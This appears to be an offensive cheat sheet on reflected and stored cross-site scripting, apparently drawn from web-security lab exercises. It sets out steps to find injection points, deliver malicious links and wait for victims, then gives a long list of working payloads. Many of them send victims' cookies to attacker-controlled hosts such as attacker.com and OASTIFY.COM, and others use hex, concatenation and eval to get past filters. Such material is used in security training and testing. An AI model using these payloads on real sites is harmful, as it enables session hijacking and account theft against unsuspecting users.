Reflected:
Identify user input fields :
Find locations where the server reflects user input in the HTTP response. This could be search fields, form submissions, or URL query parameters.
Probe with XSS payloads :
Inject simple XSS payloads like:
https://example.com/search
<img src="x" onerror="alert(1)">
If the input is reflected unsanitized in the HTML response, the payload will be executed in the victim's browser.
Craft a targeted payload :
Once you’ve verified reflection, modify the script to achieve something malicious, such as:
Stealing cookies with <script>document.location='https://attacker.com?cookie='+document.cookie</script>.
Deliver payload :
Share the malicious link via email, chat, or any other method. When a victim clicks the link, the XSS payload is executed.
Stored:
dentify input fields that store data :
Look for areas where user data is stored and reflected back later, such as comment sections, user profiles, or message boards.
Test with XSS payload :
Submit an XSS payload like:
<script>alert('XSS')</script> in a comment or profile field.
If the payload is stored and reflected unsanitized in the webpage, the script will execute when another user views it.
Create a malicious payload :
Use JavaScript to steal session tokens, redirect users, or perform other harmful actions.
Wait for victim interaction :
Once stored, any user who accesses the page will trigger the stored XSS attack.
Common attack vectors :
URL parameters (for reflected XSS).
Comment sections, user profile pages, or message boards (for stored XSS).
Payloads:
Basic payloads
Copy <img src=1 onerror=alert(1)>
"><svg><animatetransform onbegin=alert(1)>
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Testing allowed tags:
Intruder <allowed-tag%20§§=1>
Note: The custom tag with the ID x, which contains an onfocus event handler that triggers the document.location function. The HASH # character at the end of the URL focuses on this element as soon as the page is loaded, causing the payload to be called. Host the payload script on the exploit server in script tags, and send to victim.
Copy <script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>
search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';
search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
//Encoded
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>
Copy <iframe src="https://TARGET.net/?search="><svg><animatetransform onbegin=document.location='https://OASTIFY.COM/?cookies='+document.cookie;>">
</iframe>
Protocol assing inside payload
Copy <script>location.protocol='javascript';</script>#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html
Autorun with onfocus
Copy <script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>
Onhashchange
Copy <iframe src="https://TARGET.net/#" onload="document.location='http://OASTIFY.COM/?cookies='+document.cookie"></iframe>
Onresize
Copy <iframe src="https://0ac2003803e52c8e80b3309c00fc00a0.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
decoded
search="><body onresize=print()>" onload=this.style.width='100px'>
Script tag cookie stealer
Copy </script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>
Copy <script>
location = "https://TARGET.net/?search=</ScRiPt ><img src=a onerror=document.location="https://OASTIFY.COM/?biscuit="+document.cookie>"
</script>
Copy ${alert(document.cookie)}
Copy \';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
XSS WAF bypass
The web application has a filter that prevents using "document.cookie" string into any user input. In this case, JavaScript global variable could be used to bypass it. We have got many way to access the document.cookie from the window or self object. For example, something like window["document"]["cookie"] will not be blocked
Copy window["document"]["cookie"]
window["alert"](window["document"]["cookie"]); = alert(document.cookie)
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
The more complex techniques
Copy //Concatenation
//alert(document.cookie);
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
//Hex representation
//alert(document.cookie)
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
//eval + atob
self["eval"](
self["atob"](
"base64payload"
)
)
//jQuery
self["$"]["globalEval"]("alert(1)");
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
//Object.keys Iteration
Object.keys(self) -> //returns available objects with index no
Object.keys(self)[5] = alert
Object.keys(self)[5]("foo") = alert("foo")